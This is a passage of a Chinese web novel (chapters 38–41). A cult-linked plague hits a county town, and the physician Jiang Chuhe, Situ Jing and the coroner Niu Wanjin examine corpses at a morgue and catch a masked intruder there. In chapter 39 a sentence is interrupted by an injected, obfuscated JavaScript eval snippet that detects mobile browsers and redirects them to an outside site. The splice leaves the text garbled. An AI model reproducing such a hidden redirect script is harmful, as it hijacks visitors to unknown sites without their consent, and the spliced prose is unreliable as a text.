起初他们还算安分,甚至时常行一些救危扶困的好事,各乡各县的衙门见状也就睁一只眼闭一只眼,任由其发展壮大。 可是,待到越州天枢水患期间,这个组织却趁机鼓动乡民生事,害得不少百姓流离失所、家破人亡,若非尚书右丞杜惠以雷霆手段将祸端扼杀于襁褓之中,还不知要酿出多大的乱子。 因此,没过多久,建兴帝就亲自下旨将其定性为邪.教。 很快,各州官府便展开轰轰烈烈的肃清行动,与之相关的脏事儿在很长一段时间里都没再传进建兴帝的耳中,直到去年…… 先是绣衣使阎真自长公主府翻出一只巫毒娃娃,并一路查到了太子妃之弟晏宏,进而在宫中掀起一场轰轰烈烈的“猎巫行动”,因此被擒的东宫门客云霄在重刑之下供认太子司徒竦暗埋草扎马驹用以厌祷,有诅咒圣上之意。 最终不仅太子妃一家受到株连,太子阖宫上下至今都仍在禁足。 司徒靖得知此事后便觉蹊跷,于是就暗中调查云霄的底细,顺藤摸瓜竟在越州寻到了福莲教的据点。 如今弋陵陡现疫情,“圣使”又突然露面,可见这福莲教的余孽不仅有意搅得朝堂不宁,还在民间动了不少手脚。 司徒靖对南樟道:“你再去探查,务必弄清那些巫女的来路。” “属下遵命!” “另外,留意下其中有没有绿眸的‘圣使’。” 他想,既然疫病一事与福莲教相关,说不准他找寻许久的“故人”如今就在此处。 * 午时三刻,正是一天当中阳气最盛之时,可黄舒窈的卧房内却阴气森森。 今早陈德音来她院中时,她已病得直不起身,原就没几两肉的身子看着竟像是连衣裳都要挂不住。 陈德音见状立即没了脾气,急急忙忙地招呼池玫去请郎中,谁知南山堂竟无人接诊。 幸亏陈崇前日同人饮酒时听说县里出疫病的事,花大价钱又托了几层关系,这才顺利将做法的高人请进家中。 阿姎扒着窗棂,正透过两扇窗户之间的缝隙偷偷往里边瞧着。 屋内有四、五个穿着怪异的人正围绕在黄舒窈的身边,他们个个都头戴面具、身着长袍,手上还分别拿着两把点燃的茅草。 未几,茅草燃尽,一阵铃声骤然响起,那几个怪人开始绕着黄舒窈转起圈来,随着动作还发出了“咿咿呀呀”的怪声,搅得阿姎惊惧不已。 这番景象让她头脑晕眩,可不知为何,却又像被人定身一般,迟迟不能合眼。 正当双目因强撑太久而有些干痒即将流泪之时,屋里出现了更为骇人的一幕。 一位手持法杖,作巫师打扮的人突然出现在那几个怪人之间,纵身跃起又轻巧落地,像是正跳着诡异的舞蹈,在瞬息间伴着手鼓打出的旋律朝着窗口袭来。 “呯!”一股气流突然冲出,顿时窗扇洞开。 幸好阿姎还算机敏,在意识到危险袭来的瞬间就立即躬下了身,堪堪躲开这突如其来的撞击。 巫师见状略微低下头,定定站在窗边,居高临下地看着她。 “那个……奴婢无意冲撞高人……只是放心不下我家娘子……这才想着……来看看她……” 阿姎站起身来磕磕绊绊地解释着。 那人听后却半晌都未搭话。 阿姎大着胆子抬起眼,看向对方。 青面獠牙并没有吓到她,可当那双碧绿的眼瞳透过面具上的孔洞朝她直直盯过来时,阿姎还是不自觉地打了个寒战。 “要是……没……没事,奴婢就先告退了……” 她这么说着,草草福了福身,准备赶紧开溜。 巫师一言不发,在她刚准备抬脚时突然伸出右手,朝她的面门一掌轰去。 阿姎眼前一黑,直挺挺地倒了下去。 在失去意识前的最后一刻,她迷迷糊糊地想着…… 高人掌心的那株绿荷,她好像曾在哪里见过。 39. 悸动 在一阵剧烈的撞击之后,世界突然变得寂静无声,江楚禾扶着剧痛难耐的脑袋向身旁望去,可不知是什么缘故,她的眼皮沉甸甸的就像是有千斤之重,不论如何努力都无法撑开。 眼前一片漆黑,她只好伸出十指,试探性地在身边摸索起来。 指尖最先触到的是一匹织物,它不似衣物般厚实,却也不如薄纱那般轻飘飘的,倒像是帘幔一样的质感,联想起之前的撞击,她猜想自己正身处马车的车厢之中。 可不知为何,江楚禾总觉得记忆一片混沌,完全想不起自己是为何会陷入此等境地。 她只好顺着布料再朝别处探去。 车厢内四壁柔软,就好像覆着锦垫一般,寻摸半晌都没能找见一处可供借力的横木,她无奈之下只好变换思路,又扯起眼前的帘幔来,试图借由车窗逃离这无边的黑暗。 “呲拉。” 随着一阵布料撕裂的声响,眼前的景象逐渐变得清晰,但与她设想中的一片苍茫不同,被帘幔遮盖住的并非是通往外界的窗户,而是一个人。 或者说,是一具尸体。 死者的面部朝下,她看不到五官,只能从体格看出他是一位身材高大的男子,黛紫色衣袍掩盖下的宽肩窄腰让她莫名感到有些熟悉。 意识到他是何人,江楚禾有如疯魔一般扑将上去,待她将其翻过身,最后的希望也湮灭殆尽。 那人原本白皙的皮肤此时已然皱缩贴骨,如同干尸,令她不免想起钱媪口中疫病患者的那些可怕死状。 江楚禾浑身瘫软地坐在地上,泪眼朦胧地看着眼前之人。 他到底还是发病了。 五年前她没能救下自己的家人,如今也救不了甜果,救不了他。 “晏安!晏安!”她在哀痛中发出声声呼号。 “我在。” 一个干燥温热的掌心突然握住她的手,江楚禾猛然惊醒。 “晏安!” 刚一睁眼就看见了那张熟悉的脸,她被失而复得的喜悦猛然冲昏头脑,也顾不得许多,径直便攀着司徒靖的手臂直起身。 可在坐起的瞬间,一阵刺痛突然自她的眉骨发散开来,江楚禾捂着半个脑袋忍不住发出“嘶”声。 “你感觉如何?还发热么?” “有些头疼……嘶……我刚发热了?” 司徒靖颔首确认。 “怎么回事儿……” 江楚禾摸着脑门,又揉了几下太阳穴,努力回忆着自己昏睡之前发生的事。 她记得午间吃过汤饼后,自己就一直在病舍里看书,后来好像昏昏沉沉地睡了过去,期间的记忆有些模糊不清,现在想来,似乎是有过一阵头痛欲裂的经历。 此时天色已黑,江楚禾估摸自己起码昏睡了两个时辰。 “如何?要再歇会儿么?” “不!我不累……下午我看师兄抄写的那卷册子时还真找见了一些有用的东西,不过得比对着其他古籍详细研究下才能确定,我得快些将它们看完,如今甜果的情况已有些不妙,再耽搁下去……我怕真要坏事!” 说着,她掀开被角。 见她如此,司徒靖也不再相劝,他知道江楚禾心中记挂着疫病之事,定然睡不安稳,便扶着她坐到床边,顺手将脚下的绣鞋递过去。 “诶?不对……”江楚禾后知后觉地呆愣一瞬,随后便意识到哪里不对:“你怎么在这儿?我不是让你别出内院吗?” “听说你发高热,我不放心。” “若我当真身患疫病,你这样不是……” 恰在此时,屋门被笃笃叩响,将她的话生生打断。 紧接着,门外传来宋福的声音:“晏公子,小的好像听着东家的声音了,她醒了么?” 江楚禾听出是他,一阵气血上头,甚至还没顾上下床就隔着门板质问起来:“阿福!你怎么办的差事?我不是说过要确认你我并未染病之后才能同他接触么?你怎么放他出内院儿了?” “东家……呃……午后你发了高热……我……一时慌神……” 宋福显然被吓得不轻,连说话的语气都带着点哭腔,磕巴半天也没吐出个完整的句子。 但江楚禾听到此处,便已将事情捋了个清楚明白。 她的语气顿时带上几分愠怒:“你也知道我是发了高热,若这高热是因疫病引起,你这么做,不是连累旁人跟着遭殃吗?《治疫论》你都学进狗肚子里去了?” 门外之人立即跪地认怂。 “东……东家息怒,阿福知错……东家能先将药喝了么?快凉了……要不,我再拿去热一下?” 江楚禾刚醒来时就已探过自己的脉,确定只是轻微风寒,现下除却有些头疼外其实并无大碍,如此看来,他此举应不至于造成什么实际恶果,让他长个记性也就罢了,倒也不必死咬不放。 这么想着,她又微微软下语气,道:“不必折腾,你将药放这儿就行。只是今日之事你要记清楚,若有再犯,自己去找少庄主领罚,师兄可不像我这般好说话!” “阿福记着了,多谢东家。” 宋福端着托盘站起身,却迟迟没有开门进屋。 “阿福?你进来啊!这是又怎么了?咦?不对……” 江楚禾看着门上投出的那一片黑乎乎的人影,再环顾四周,终于意识到这屋内的陈设有些不大对劲。 怪不得宋福在门口踌躇半天都不敢进来,此处分明就是她的卧房! “我怎么在这儿?”她转头看向司徒靖。 对方仍是那张面无表情的脸,但江楚禾却从中看出了七分无奈与三分戏谑,像是在说“你终于发现了?那还不算太傻。” 有点丢人…… 江楚禾扁扁嘴,正考虑着该说些什么才能稍稍挽回点自己聪明伶俐的形象时,那人已经打开门从宋福手上接过汤药,又将碗端到她的面前了。 “喝吧,再放就凉了。” 看她接过瓷碗将药一饮而尽,司徒靖这才缓缓开口,解答她此前的疑问:“是我将你抱回来的。” 他语气淡淡,说出的话却有如平地惊雷。 两人之前虽也有过更为亲密的接触,可那都是命悬一线的危急时刻,她在此处又不会掉进河里,怎么他…… 而且,还当着宋福的面儿! 江楚禾瞪大眼睛看向他,可对方却仍是一脸的纯正无邪,以至于让她觉得自己此时若提起什么“男女大防、伦理纲常”恐怕会显得既自作多情又不识好歹。 于是,她开始默默在心里找补起来。 首先,此人一看就是个清心寡欲、不动凡心的高人,在他眼里恐怕自己同男子无异。 其次,之前两人也不是没有抱过,抱都抱了,一次两次的又有什么分别? 再次…… 江楚禾偷眼瞧着,对方形容俊美、仪表堂堂,横竖她都不吃亏,那还有什么可计较的? 这么一想,她顿觉豁然开朗,就连看向他的眼神也变得更加肆无忌惮。 司徒靖被这样的视线烧得有些不好意思,他的喉结滚动几下,才低声道:“事急从权,若有冒犯之处,还望江九娘子海涵。” 啧,这么有礼貌,显得我很不懂事的样子。 江楚禾不禁腹诽。 她收回视线,假模假式地拱一拱手,很“懂事”地说了句:“今日多谢晏公子援手,给您添麻烦啦!” 此语本意只是玩笑,可司徒靖听后心里却有些不是滋味。 “以后不许这样说。” 他的语气温柔,态度却十分坚定。 江楚禾本就有些头脑发懵,听到这话便更加糊涂,甚至有些怀疑自己是不是将那番轻佻无礼的内心活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929318|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不慎说出了口。 她停顿几息,这才试探性地问:“不许……说什么?” 司徒靖并未直接回答,而是在定定看她片刻后又反问道:“江九娘子救我性命、容我留宿、为我解毒,可曾将我视作麻烦?” “自然没有!” “那你将我当作什么?”他目光炯炯,一双桃花眼中满是她看不懂的情绪。 江楚禾闻言一顿,不禁顺着这话思考起来。 是啊,她一直将这人当作什么呢? 第一个冒出来的词,是“盟友”。 虽说两人不曾将江、晏两家的遭遇摊开来说,真正地结为同盟,但她不得不承认,她对此人确有利用之心。 他能力强、心思深,却格外可靠,故而江楚禾才决定先行拉拢,计划待将来寻得机会,便一同为苦于皇权、无辜获罪的家人讨个公道。 可她对那人的感情似乎又不仅限于此。 若只是盟友,她不会因为目睹对方旧日伤疤而心痛,也不会在听他说起“不习惯在人前宽衣”时产生好奇,更不会在他毒发之际,为失去他的那一丝可能而感到恐惧不已。 曾经让她如此牵挂的男子,还是两位兄长。 那自己是拿他当作哥哥一样吗? 很快,江楚禾又在心中将这个答案彻底否定。 大兄江楷严肃稳重,是她敬重依赖的长辈,但她对大兄绝不会像对待那人一般,总是对其生出调笑逗趣的坏心思;次兄江榷机智狡黠,是她亲密无间的玩伴,但她绝不会因他的一句赞许就暗自雀跃,心绪难平。 所以,如果一定要去定义两人的关系,恐怕只有…… “朋友,我们是朋友啊!”她斩钉截铁地回复。 此言一出,司徒靖眼中的光亮随之暗下。 他垂眸片刻,再次看向她时,却又带上一丝浅淡笑意,“你我既是朋友,便莫要再说那些客套话了。” 低沉的嗓音犹如羽毛刮过她的心间,江楚禾突然感到自己身体深处不知从哪里窜出一股酥麻之感,紧接着小腹便传来一阵微微钝痛。 她忍着不适将身体挪动一下,但就在她抬臀的瞬间,一股暖流突然从她的腿间淌出。 糟糕! 她一把扯过被子捂住下半身,故作随意道:“那个……我现已无碍,你不用陪着我,去忙吧。” 可对方显然没有领会她的用意。 “方才你说要比对浏览不同书籍,我于此道还算擅长,或可从旁协助。” 在监修《建兴全书》期间,各州敬献的逾万册书籍都是他逐一阅读审核过的,这句“擅长”绝无夸大。 江楚禾早知他为人谦逊,自然也明白此言非虚,可她就是再想留人帮忙,也得把眼下的紧急情况先处理了。 “不用!我自个儿来就行,你快出去吧!” 这语气一听就是急切要将他赶走的意思。 司徒靖面色渐冷,语气苦涩:“既是朋友,便无需担心麻烦我。除非,你方才所言,并非真心。” 真是个死心眼! 见他这般,江楚禾索性不顾脸皮地说出实话:“我月事来了,总不好当你面儿处理吧!” 身为医者,她早已克服对此事的羞耻感,即便在男子面前提起这茬也仍是一脸坦荡。 可司徒靖却全然不同,他自幼持戒,身边连婢女都无,听闻此言立即红了耳轮,难得流露出几分慌张。 “那……我去备晚膳,就不搅扰江九娘子了,你……好生休息。” 而后他便飞速逃离此处,直到深夜都未曾再来“搅扰”过她,就连餐食也是让宋福默默送到她的门口。 江楚禾倒也乐得清静,在用过饭后便又沉浸到了书卷之中,直到子夜时分,才伏在案几上打起盹来。 就在她意识模糊之际,院内突然传来一声巨响。 40. 危机 “砰!”一声闷响自前院传来。 江楚禾惊得浑身一颤,瞬间清醒。 莫非出事了? 她急忙抓起一件单薄的外衫,边穿边冲出门去。 月色之下,一个黑乎乎的人影正坐在倒塌的木架之间,面对一地破裂的笸萝闹着脾气,而不远处的阴影中,司徒靖不知何时已悄无声息地站在那里,将身形隐没在黑暗中,窥视着墙下的那位不速之客。 江楚禾提着灯笼凑近一看,顿时有些哭笑不得。 “阿牛?你怎么会在这儿?”还砸烂了我家的晒药棚! 听她问起,牛万金一啧,顾不得起身就大声叫嚷起来:“天老爷啊!你还好意思说?好端端的,是谁堵了老子的方便之门?害我大晚上的还得要爬墙才能进来!” 因儿时曾被家里护院的黑獒追过,江楚禾打小就有些怕狗,并没有豢养犬只的打算,为安全起见,便一直想将那个五尺见方的墙洞补上,谁知总也抽不出时间,直到司徒靖搬进来后,才弄了些泥砂和砖石给她将洞口填起来。 她本来是想要寻个机会告诉牛万金一声的,毕竟此处也只有他一人会用,可近几日事情太多,竟给忙忘了。 江楚禾尴尬一笑,向他解释道:“这几日才填上的,还没来得及跟你说。” 牛万金听后并不满意,像是非要将那“祸首”找出来给他赔个不是:“啧!你倒是跟我说说,到底哪个不长眼的多这个事?” “我。”应话者语气平静,听着却分明透着一股森寒。 牛万金这才发现,暗处的视野盲区里有一高个男子正缓步走出,看着颇有些面熟,好像是那个…… “愣头青?” 听见这个称呼,江楚禾忍不住“噗嗤”一声笑了出来,但随后赶到的宋福却不是这个反应。 上回他好劝歹劝才让牛万金改口叫那人“郎君”,怎么一月不见又叫上“愣头青”了? 宋福看着面不改色的司徒靖,不禁在心中为“晏公子”的高贵涵养竖起拇指,但人家虽然没有追究,自己却不能由着牛万金继续鬼吼下去。 他小跑过去将牛万金扶起,苦口婆心道:“牛阿兄!公子那是担心留有墙洞不安全,这才帮东家补上的!你也是……发现此处行不通后敲门就好,怎么爬起墙来了……东家不是早就说了让你走正门的吗?” 牛万金一听这话又来了气,甚至没留意宋福对那人的称呼已从“郎君”变成“公子”。 他怒瞪宋福一眼,高声嚷道:“我那还不是怕吵醒你们,所以才没敲门的!” 江楚禾听后更加疑惑:“你大半夜来我家,又没打算吵醒我们……这般偷偷摸摸的是想做些什么?” “我……我有事找你!” “哦,那你找我说事儿显然不需要把我吵醒。”她一脸正色地调侃起来。 此言一出,不光宋福耐不住笑出声,就连司徒靖的脸上都露出几分忍俊不禁。 牛万金无言以对,只好破罐破摔地喊:“啊呀!我后来也想到了!可那时……那时……我已爬上墙头了……” 提起这茬,牛万金更觉腚疼。 他一瘸一拐地走出两步,朝江楚禾嚷道:“江娘子你赶紧看看,我屁股是不是裂开了?” 这般粗俗做派引得司徒靖不禁蹙眉,他给宋福使了个眼色,后者立即会意,道:“东家,我先将牛阿兄扶进病舍冰敷一下,再上点药,稍后您再同他议事,如何?” 不等江楚禾表态,牛万金先不乐意了。 “都火烧眉毛啦!还稍什么后?江娘子,我可有大事找你!同近日疫病相关的……” “哎呀!牛阿兄!”宋福语气温和地打断他,“今晚天凉,东家穿得这样单薄,若不添件衣裳,可不得冻病了?到时你的急事又能找谁商议?” 听宋福这么说起,江楚禾也觉得有些发冷,但疫病之事的确耽搁不得,她只好求助于司徒靖,让他帮忙取一件斗篷过来。 这是他今日第三次进出她的闺房。 有了前两回的经验,司徒靖已将此处陈设熟稔于心,他进屋后目不斜视,拿起斗篷便转身离开,仿佛多留一刻便会勾起什么令人耳热的回忆。 待他返回病舍时,牛万金正歪着身子倚在病舍矮榻的几案边,任由宋福在肿起的脚踝上抹着药膏,口中则一刻不停地抱怨着自己连验数十具尸体都一无所获的悲惨经历。 “如今巡按大人已经命陶刺史立下‘军令状’,月底此事必须查个水落石出!就因为这个破病,衙门上上下下已经连轴转了好些天,今日就连田县令都赶回来干活了!可折腾半天,还是没人知道这疫病究竟打哪里来!官府本想着将南山堂的林老先生请来给说道说道,结果人家居然也染了病,他娘的还真是……” 堂堂牛仵作职业生涯的大危机! 他话说一半,便见司徒靖默然进屋,无比自然地把斗篷披在江楚禾肩上,顺手还将一个小巧的手炉塞进她的手里。 咒骂声戛然而止,取而代之的是一套更加没脸没皮的说辞:“哎哟!我说……你这伙计,别光顾着伺候你们东家啊!老子可是客人,深更半夜的过来,居然连点吃食都不给,这像话吗?” 司徒靖面无表情,连眼皮都不曾抬起来一下。 此举成功激怒牛万金,他双目圆瞪,“嘿!你这伙计,不像话啊!” “行了,你别闹他,要吃就只有这个!”江楚禾看不下去,将供桌上那盘摆了大半天的枣泥酥端过来,打起圆场。 酥油外皮受了潮,早已不似刚出锅时那般松脆,但牛万金可一点不挑,他三两下就将其囫囵吞下,末了还用刚脱下的袜子擦了擦手,看得司徒靖直皱眉头。 “得嘞!吃饱喝足好干活!江娘子……随我走一趟呗!” 他将袜子塞回前襟,朝江楚禾抬了抬下巴。 “为何?”司徒靖一听,当即挡在前面。 牛万金显然没料到会有这一出。 他瞪眼回道:“当然是去义庄看尸首啊!方才江娘子还说,得见着死者才好确定这回的疫病究竟是个什么鬼东西,可不得赶紧去义庄?” “那……也不必夤夜前往。”司徒靖这话说的有些没底气,因为凭他对江楚禾的了解,她绝不会以病患的性命冒险,去耽搁那一时半刻。 江楚禾定会反驳自己,他想。 可还没等她说话,牛万金就先冲两人叫嚷起来:“哎哟!你当如今的弋陵县衙还是从前哇?巡按大人一来,连田县令都打着十二分的精神,怕是明日天不亮就要去我那亲自查看死者,咱们再不连夜去,可就没机会了!江娘子……你是不是不想帮忙?我可跟你说,这批尸体真的是那什么……哦!史无前例的不同寻常!绝对能在你那本书里好好写上一笔……呃……” 讲到此处,他才突然想起江楚禾曾反复叮嘱过不能将这件事说出去,赶忙又调转话头:“我是说,就你那个札记,你不是说要总结个……呃……就那个……‘人的一百种死法’吗?” 人的一百种死法?亏他想得出来! 为免他再瞎扯什么胡话,浪费本就不算够用的脑汁,江楚禾赶忙道:“你不用编了,这事……不必瞒着他。” 牛万金听后立马撇起嘴,有些不满地道:“嘿!你之前不都说这是机密来着!” 此事涉及她的父母,江楚禾自然不想泄露太多内情,故此才会在两人合作之初就这般嘱咐牛万金。 因为,他口中所说的“那本书”正是她那位曾任大理寺卿的父亲江淮与她的名医母亲许青琅共同编撰的《检伤集录》。 所谓“检伤”即“检验尸伤”的略语,意同“验尸”;而这本《检伤集录》则是集合常用验尸手法并汇集数十种常见死伤原因的勘验案例所成,是她父母近十年的心血。 此书在五年前本就已经基本完成,但唯一的手稿却在那场变故中与江氏的其他藏书一同被抄没,如今在江楚禾手上的还是她在凭记忆默写而成的副本基础上,又将牛万金所提供的尸检实例整理增补而成。 不过牛万金虽在此事中出过不小的力,但对这卷书籍究竟出自何人之手却是一无所知。 当然,江楚禾也并不打算同他细讲,她只道:“我也是受故人所托,不好四处宣扬,说是‘机密’确有夸大,但此事的确不好同旁人说。” “那他就没事?” 牛万金一指头戳到司徒靖胸前,对此人“借容貌惑主”的猜测又多出一分。 “他……他都知道。”江楚禾说。 以两人此前的交情,“晏公子”当然不该知晓这件事,但他清楚她的身世,因此再刻意遮掩也没什么必要。 江楚禾这般答着话,又看向司徒靖,心想他这样的聪明人,定然不会在此时拆台,也不会事后追问,想来如此便能糊弄过去。 果然,那人微微颔首,用肯定的语气对牛万金道:“我已知悉个中内情,牛阿兄不必多虑,但兹事体大,还请切勿外传。” 牛万金最听不得这种文绉绉的絮叨,既已确定自己没捅娄子,也就懒得多言,他摆摆手示意“一切好说”,然后又催起江楚禾:“所以呀,江娘子……要不要跟我去瞧瞧尸体?” “成!咱快去快回!” 江楚禾欣然同意,转头又对司徒靖道:“你跟阿福好好看家,我一会儿就回来。” “不可。”他与宋福异口同声。 “眼下已是深夜,你独自出行,恐怕不安全。” 司徒靖话音未落,牛万金就瞪大眼睛,高声道:“独自?我说愣头青,你记不记得老子也是人!” “牛阿兄自然是人,但返程时江娘子可无人陪同,若遇上歹人作乱,该当如何?” “行了!行了!到时我送她回来便是!” 我是这个意思么? 司徒靖不禁怀疑是自己的表达能力存在问题,还是这人根本就是脑筋不大对劲。 他索性直言:“我与江娘子同去。” 这下轮到江楚禾提出反对了。 她将司徒靖拉到一边,低声劝道:“如今官府虽已认定此病并不易于相染,但总归还是要以小心为上,义庄里尸气聚集,又不是什么好地方,你能别去还是别去!再者说……你暗中南下,又未携照身或是路引,若真在那儿碰见官差,恐怕还得惹事,不如就留在此处看家。” “可是……” “放心吧,我不会有事的!再说了……就算遇见什么事儿,我也能护着自己!你忘啦?我 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“东家,我怎么闻着此处有股怪味呢?” 牛万金听后却不以为然,他一巴掌呼在宋福后背上,“这里是义庄!你指望能闻到啥好味道?” 话是没错,可这股味道闻着也不像是义庄该有的啊…… 宋福摸摸鼻尖,在心里嘀咕一句。 直到三人走近那排殓房时,江楚禾也闻出了异样。 “阿牛,你在这儿烧了啥?这味道好生奇怪!” 接连被人质问,牛万金气急败坏:“还能是啥?皂角苍术呗!” 因燃烧后有辟秽之效,这两种均属仵作常用之物,但除此之外,它们还是相当常见的药材,江楚禾怎会闻不出来? 她立即道:“不是那个,好像……是甘茅。” 此物性寒、味甘,因形如茅草而得名,功效也与后者大同小异,只是生长所需条件要比之苛刻许多,价格也更为高昂,因此所用之处皆以茅草代替,长久下来反倒没什么人再种植此物,也难怪牛万金闻不出它的气味。 只是……他恐怕见都没见过甘茅,又怎会燃它? 江楚禾疑惑地看向牛万金,对方同样是一头雾水:“啥茅?我没点过啊!” 正当两人面面相觑之际,宋福已经在屋里绕行一圈,寻找燃烧物的残渣了。 此处是一个两丈见方的小屋,专门用作验尸之用,隔壁和对面的一排排殓房才是陈列尸体之所。 是以,这间屋子的内部陈设简单,没有太多遮挡,简直一眼就能望到头,而江楚禾左右扫视好几眼都没见着疑似燃尽甘茅的残留。 宋福将屋内火盆翻了又翻,也摇头道:“东家,我看过了,火盆里边没有什么,而且……我总觉得……这个方向味道更重……” 他凑到近前,在验尸台附近用力嗅着,然后就被江楚禾弹了脑门。 “你傻不傻!把布巾蒙好,不要乱闻!染上尸毒可不是开玩笑的!” “哦……”宋福乖乖照做。 见事态总算重回正轨,牛万金吐出一口浊气,终于将白布掀开,向江楚禾介绍起来:“县里如今死人数十,大多都已经下葬,眼下放在我这义庄的只有午后刚运来的十来具,基本都摆在殓房里,这个是我临出门时刚送来的,我还没来得及验呢,你瞧瞧……” 没等他说,江楚禾就已目不转睛地盯着那具尸首了。 台上这位是个刚断气不久的青年男子,但其状态却犹如耄耋老人,他的肌肉萎缩、皮肉枯皱,唯有那一口好牙明明白白彰显着他英年早逝的事实。 “怎么会这样……” 宋福虽不懂太多验尸的门道,可也一眼就能看得出其中的异常。 他不禁又想起钱媪对这波疫情的可怖描述,连递着刀具的手都有些微微发颤。 “阿福,害怕就去门外待着。” 江楚禾本无意指责他,但因蒙着布巾的缘故,她的声音听着有些瓮声瓮气,莫名为这句话添上几分严厉之感。 宋福忙道:“不……不用,我能行!” 像是为了证明自己并非嘴硬,他瞪大眼睛盯着死者枯瘦的臂膀,生怕眨一眨眼就会让东家以为自己犯了怯。 皂角、苍术燃烧的那股辛香逐渐充斥整间屋子,熏得宋福有些双目发痒,正当他忍不住想要眯起眼睛时,突然看见死者干瘪的手臂上像是有什么东西正顺着筋脉缓缓蠕动,看得他头皮发麻。 宋福“啊”地一声喊叫出来,手上的小锥应声掉落在地。 江楚禾闻声抬眼。 不等她张口,宋福就赶忙补救道:“东家……我……我明白,这就捡起来,您别赶我出去,我还能行!” 他说罢便躬下腰,两手并用,在地上摸索起来。 然而,人道“急中易错”果真不假。 宋福刚一瞧见验尸台下露出的半截锥体,就因急着伸手而将它一把推进台下布幔的里边,他努努嘴,只好掀开眼前的遮盖再向内探去。 可就在白布被撩起的瞬间,他看见验尸台下有一双三角眼直直瞪了过来。 41. 歹人 宋福两腿发软,一屁股坐到地上,但不过瞬息之间,他又被人一把拎起来,掐着脖子扯到门口。 黑衣人在两人对视的瞬间便将手中甘茅尽数丢弃在地,一手抓住眼前那怯生生的少年,另一手则捏着小锥用尖头直抵对方颈侧。 “你们两个都别动!否则我弄死他!”他的声线粗重沙哑,再配上那副黑布覆面的造型,显得尤为可怕。 牛万金果然被吓得不轻,他听后立即双手抱头,蹲了下去。 可江楚禾却不会这么轻易认怂。 她柳眉紧蹙,双眼一错不错地盯着对方缓缓后撤的步伐。 “小子,快把门给我打开!” 黑衣人凑到身前那面色惨白的人质耳边,厉声向他发出命令。 宋福此时因受到惊吓还有些眩晕,腿脚也软绵绵的不听使唤,万幸他的头脑还算清明,在听到黑衣人的要求后第一时间就看向江楚禾,试图从东家那里寻到下一步的指令。 但她又哪敢轻举妄动? 眼下宋福还在歹人手中,若稍有不慎怕是性命堪虞,她只能点头。 门栓被慢慢取下,黑衣人一个后踢上去,顿时门扇大开。 他的身材魁梧,但身手却是非一般的敏捷,在一跃而起的同时又将宋福往屋内推去,正好挡住江楚禾追击上来的必经之路。 “阿牛!接着他!” 她飞身冲上前去,揪住宋福的衣裳将他过了个手,转身又推向牛万金。 后者一瘸一拐地上前,险些被“飞”来的少年药僮砸倒在地。 可江楚禾却没法分神去管身后的两人,因为她还有更要紧的任务—— 这黑衣人趁义庄无人之际潜入此处,明显没存着什么好心思,恐怕背后还有更大的阴谋。 此人,绝对不能放走! 江楚禾足尖点地,在对方正要跃上房檐之际一把将他拽下。 “小娘们,甭妨碍老子的事儿!” 一阵低吼透过蒙面的布巾传来,粗哑的嗓音就如同来自地狱一般。 江楚禾听后怔愣一瞬,但并非是因此人独特的声线而受到惊吓,她是讶异于这句话中隐约流露出来的兴京口音。 不知是不是意识到自己的腔调有些露出马脚,自此之后,那黑衣人再没说出一个字。 他趁江楚禾怔住的时间又是奋力一跃,当她再追上去与之搏斗纠缠时,他已从后腰取出一把巴掌大小的精巧手.弩,“突”地放出一箭。 箭镞径直冲她而来。 正在危急时分,一股大力将她猛地按进怀里,在空中旋转两周,然后稳稳落回地面。 “你怎么样?”司徒靖急切问起。 江楚禾摇了摇头,此时她已没有工夫去问他为何会出现在此处,只能极力控制住呼吸,用尽可能平稳的语气快速说道:“别管我,去追他!” “阿福!” 司徒靖向宋福的方向打个响指,示意对方过来照顾她,自己则纵身朝黑衣人的方向飞扑而去,没过几招就将后者轻松拿下。 “绳索。” 司徒靖扭着黑衣人的双臂,朝牛万金一抬下巴。 “嘿嘿!你个丑东西,刚不是挺硬气的?现在知道我们的厉害了?” 牛万金本要回屋去拿绳子,但经过黑衣人时看着对方的一脸恶相又不免来气,忍不住用那只刚消肿不久的臭蹄子给对方来了一脚,像是要为方才的突然受惊讨回点公道。 “阿牛,你快去!” 江楚禾催促着,又向穿着一袭夜行衣的歹人走近一些。 为防歹人服毒自尽,司徒靖在刚擒住他时,便一把卸下对方的下巴,顺手又将那块蒙面的黑布巾也扯了下来。 此时黑衣人那满脸犹如蚯蚓密布的旧日伤疤已暴露无遗,在院内那几盏白灯笼的昏黄火光下显得格外瘆人,而他喉咙中发出的那阵“嗷嗷”、“呜呜”的怪声也为这幅情景更添几分寒意。 “阿福,将他嘴里的东西掏出来。”江楚禾发话。 宋福看着面前的“怪物”,不禁搂起自己的臂膀,又缩了缩脖子。 见他有些迟疑,江楚禾正色道:“此人方才挟持过你,若你现在不能克服,恐怕之后数年都得活在今日的恐惧里,你希望那样吗?” 这句话像是凭空推了他一把,宋福将心一横,把两根手指伸进黑衣人的嘴里。 果然,此人唇齿之间正藏着一粒绿豆大小的黑色药丸,取出时,外皮的包衣已经出现了一丝裂缝。 江楚禾忙从腰间佩囊中取出一个小瓷瓶,将药丸收好。 正巧这一幕被取绳索回来的牛万金看了去,他咧着嘴打趣起来:“哟!江娘子这是拿了他一颗牙当作纪念?” 江楚禾知道他向来有故意恶心人的癖好,听后也不往心里去,顺他话就接着说道:“民女不敢,这位可是深夜潜入义庄企图作歹的贼人,自然是要一颗牙都少不了地交给你们这些在衙门里边儿做事的爷啊!要不您凑近点一点数儿?绝对一颗不少!” 黑衣人闻言又“嗷嗷”地嚎了起来,口中浊气熏得牛万金直皱眉头。 他“呸”了一声,将那人的下巴一把摁回去,又从怀中掏出袜子,塞进黑衣人的嘴里。 此处终于安静下来,只余下风吹树叶沙沙作响。 司徒靖这才听到,有一队人马正朝此处行来。 “来人了。”他说。 第一个对此做出反应的人,是江楚禾。 她杏目圆瞪,立即提出猜测:“莫非是这贼人的帮手?” “不像。”司徒靖摇头,“来人约七八个,听上去队列整齐,更像是衙门里的官差。” 江楚禾听后大惊:“那更糟了!眼下正值宵禁,咱们出现在义庄的事儿可说不清楚!阿牛!你这儿有啥地方能躲会儿不?” 